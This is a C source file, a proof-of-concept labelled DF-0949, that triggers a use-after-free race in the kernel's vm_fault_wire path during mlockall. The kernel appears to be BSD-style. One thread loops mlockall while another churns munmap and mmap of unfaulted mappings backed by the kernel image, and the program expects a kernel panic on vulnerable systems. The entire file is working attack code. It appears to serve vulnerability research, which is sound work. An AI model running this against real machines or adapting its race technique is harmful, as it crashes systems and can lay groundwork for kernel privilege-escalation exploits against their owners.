/*
 * DF-0949 — sys_mlockall use-after-free PoC (v3 - file-backed + churn).
 *
 * The race window in vm_fault_wire (between vm_map_unlock at vm_fault.c:2625
 * and vm_map_lock at :2648) is widened when vm_fault() has to do real
 * I/O to fault in non-resident pages. We create entries backed by a
 * file (the kernel text) and never pre-fault them, so mlockall's
 * vm_fault_wire has to page them in. Meanwhile a second thread hammers
 * vm_map_delete via munmap.
 */

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>

#define NENTRIES   32
#define MAPSIZE_MB 4              /* per entry: 4MB backing */
#define RUN_SEC    40

static size_t pg;
static int  g_fd = -1;
static void *addrs[NENTRIES];
static volatile int stop = 0;

static void *munmap_thread(void *arg) {
    (void)arg;
    size_t sz = MAPSIZE_MB * 1024 * 1024;
    while (!stop) {
        /* unmap half the entries, then re-create them file-backed but
         * UN-faulted (no memset), so mlockall's vm_fault_wire must page-in */
        for (int i = 0; i < NENTRIES; i += 2) {
            if (addrs[i]) munmap(addrs[i], sz);
            addrs[i] = NULL;
        }
        for (int i = 0; i < NENTRIES; i += 2) {
            addrs[i] = mmap(NULL, sz, PROT_READ|PROT_WRITE, MAP_PRIVATE, g_fd, 0);
            /* intentionally no memset -- pages not resident */
        }
    }
    return NULL;
}

static void *mlockall_thread(void *arg) {
    (void)arg;
    while (!stop) {
        if (mlockall(MCL_CURRENT) < 0) {
            /* under heavy churn mlockall can fail; just retry */
        }
    }
    return NULL;
}

int main(void) {
    if (getuid() != 0) {
        fprintf(stderr, "[!] DF-0949 requires root (mlockall is SYSCAP_RESTRICTEDROOT)\n");
        return 2;
    }
    pg = sysconf(_SC_PAGESIZE);

    /* Open a large file to back the mappings */
    g_fd = open("/boot/kernel/kernel", O_RDONLY);
    if (g_fd < 0) { perror("open /boot/kernel/kernel"); return 2; }

    size_t sz = MAPSIZE_MB * 1024 * 1024;
    printf("[*] DF-0949 mlockall UAF race (v3 - file-backed)\n");
    printf("[*] %d entries x %zuMB, run %ds\n", NENTRIES, sz/(1024*1024), RUN_SEC);

    /* Pre-populate */
    for (int i = 0; i < NENTRIES; i++) {
        addrs[i] = mmap(NULL, sz, PROT_READ|PROT_WRITE, MAP_PRIVATE, g_fd, 0);
        if (addrs[i] == MAP_FAILED) { perror("mmap init"); return 2; }
    }

    pthread_t t_mlock, t_unmap;
    pthread_create(&t_mlock, NULL, mlockall_thread, NULL);
    pthread_create(&t_unmap, NULL, munmap_thread, NULL);

    printf("[*] racing for %d seconds (panic expected on vulnerable kernel)...\n", RUN_SEC);
    sleep(RUN_SEC);
    stop = 1;
    pthread_join(t_mlock, NULL);
    pthread_join(t_unmap, NULL);

    printf("[+] no panic observed in this run\n");
    return 0;
}
